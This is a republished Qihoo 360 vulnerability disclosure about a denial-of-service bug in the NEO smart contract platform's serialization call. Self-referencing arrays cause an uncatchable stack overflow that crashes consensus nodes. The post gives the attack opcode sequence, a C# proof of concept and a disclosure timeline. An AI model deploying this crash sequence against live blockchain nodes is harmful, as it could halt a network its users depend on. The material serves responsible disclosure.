β

NEO Smart Contract Platform Runtime_Serialize Call

奇虎360技术博客 9 阅读

Zhiniang Peng from Qihoo 360 Core Security (pengzhiniang@360.cn)

NEO is a non-profit, community-based blockchain project. It is a distributed network that uses blockchain technology and digital identity for asset digitization. It is also an intelligent management of digital assets using intelligent contracts to create “Smart Economy”. At present, NEO’s market capitalization ranks fifteenth in the world in coinmarket, being one of the remarkable blockchain projects. We found a Denial of Service vulnerability in the NEO smart contract platform which attacker could use to instantly crash the entire neo network.

The NEO Smart Contract Platform provides the contract with a system call (System.Runtime.Serialize) to certain object on the serialized virtual machine stack. This call processes the contract request without considering the nesting of the array, which will cause crash of the smart contract system platform. Neo currently has 7 master nodes responsible for verifying and packaging the entire network transaction. Malicious users can post malicious contracts that exploit the vulnerability to the neo network. While parsing the malicious contract, the 7 master nodes will crash. Furthermore, it will cause denial of service across the entire neo network. The details of the vulnerability are as follows:
The system call (System.Runtime.Serialize) pops the user-executable elements that are at top of the stack and then calls the SerializeStackItem function for serialization. The SerializeStackItem function is:

The general idea is: when the contract calls the System.Runtime.Serialize, it will pop out the first element (parameter StackItem item) on the virtual machine stack, then serialize it with function StackItemItem and write it to the binarywriter writer. SerializeStackItem cheks the element type and then performs a corresponding serialization operation.

There are many types of StackItem. If it is an array, the array size and child elements will all be serialized again. The array here is customized defined by NEO. Originally, it is a List. One scenario is not took into consideration here that an attacker might add array a as a child element to array a, i.e., a.Add(a). If you de-serialize a at this time, you will enter an infinite loop, until the program stack space is exhausted and triggers stack overflow exception (StackOverflowException).

In fact, in the NeoVM code, we can see that the outer layer of the virtual machine execution has set state catch for any exception:

However, the exception catch cannot handle the StackOverflowException. A StackOverflowException in .net will cause the entire process to exit and fail to catch the exception. This in turn causes the entire neo node process to crash directly.

Attack virtual machine commands: push(a), dup(), dup(), appen(), System.Runtime.Serialize() can cause a stack overflow exception and the program will crash directly. [Similarly, the stuct structure and map structure can also use this vulnerability].

It is worth mentioning that within 7 minutes after we emailed the NEO official to notify this vulnerability, Erik Zhang, one of the founders of NEO, replied directly to confirm the existence of the vulnerability and submitted the bug fix within an hour. Their efficiency is quite amazing. The official fix for this vulnerability is very thorough, preventing this iterative reference by adding a List of serialized elements. Please see the picture below for details:

Vulnerability timeline:

2018/8/15 15:00 Found and tested the vulnerability
2018/8/15 18:57 Mailed the details to NEO
2018/8/15 19:04 NEO officially confirmed the existence of the vulnerability
2018/8/15 20:00 The founder of NEO Erik Zhang released bug fixes

PoC:
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Linq;
  5. using System.Text;
  6. using System.Threading.Tasks;
  7. using Neo;
  8. using Neo.IO;
  9. using Neo.SmartContract;
  10. using Neo.VM;
  11. using Neo.VM.Types;
  12. using VMArray = Neo.VM.Types.Array;
  13. using VMBoolean = Neo.VM.Types.Boolean;
  14. namespace ConsoleApp2
  15. {
  16. class Program
  17. {
  18. public static void SerializeStackItem(StackItem item, BinaryWriter writer)
  19. {
  20. switch (item)
  21. {
  22. case ByteArray _:
  23. writer.WriteVarBytes(item.GetByteArray());
  24. break;
  25. case VMBoolean _:
  26. writer.Write(item.GetBoolean());
  27. break;
  28. case Integer _:
  29. writer.WriteVarBytes(item.GetByteArray());
  30. break;
  31. case InteropInterface _:
  32. throw new NotSupportedException();
  33. case VMArray array:
  34. writer.WriteVarInt(array.Count);
  35. foreach (StackItem subitem in array)
  36. SerializeStackItem(subitem, writer);
  37. break;
  38. case Map map:
  39. writer.WriteVarInt(map.Count);
  40. foreach (var pair in map)
  41. {
  42. SerializeStackItem(pair.Key, writer);
  43. SerializeStackItem(pair.Value, writer);
  44. }
  45. break;
  46. }
  47. }
  48. static void Main(string[] args)
  49. {
  50. VMArray a,b;
  51. a = new VMArray();
  52. b = new VMArray();
  53. a.Add(1);
  54. b.Add(2);
  55. MemoryStream ms = new MemoryStream();
  56. BinaryWriter writer = new BinaryWriter(ms);
  57. RandomAccessStack Stack = new RandomAccessStack();
  58. Stack.Push(a);
  59. Stack.Push(Stack.Peek());
  60. Stack.Push(Stack.Peek());
  61. StackItem newItem = Stack.Pop();
  62. StackItem arrItem = Stack.Pop();
  63. if (arrItem is VMArray aray)
  64. {
  65. aray.Add(newItem);
  66. }
  67. try
  68. {
  69. SerializeStackItem(Stack.Pop(), writer);
  70. }
  71. catch (NotSupportedException)
  72. {
  73. Console.WriteLine(“NotSupportedException”);
  74. }
  75. catch (StackOverflowException)
  76. {
  77. Console.WriteLine(“StackOverflowException”);
  78. }
  79. writer.Flush();
  80. Console.WriteLine(ms.ToArray().ToHexString());
  81. }
  82. }
    The running result is as below:
作者:奇虎360技术博客
分享奇虎360公司的技术,与安全的互联网共同成长。
原文地址:NEO Smart Contract Platform Runtime_Serialize Call, 感谢原作者分享。

发表评论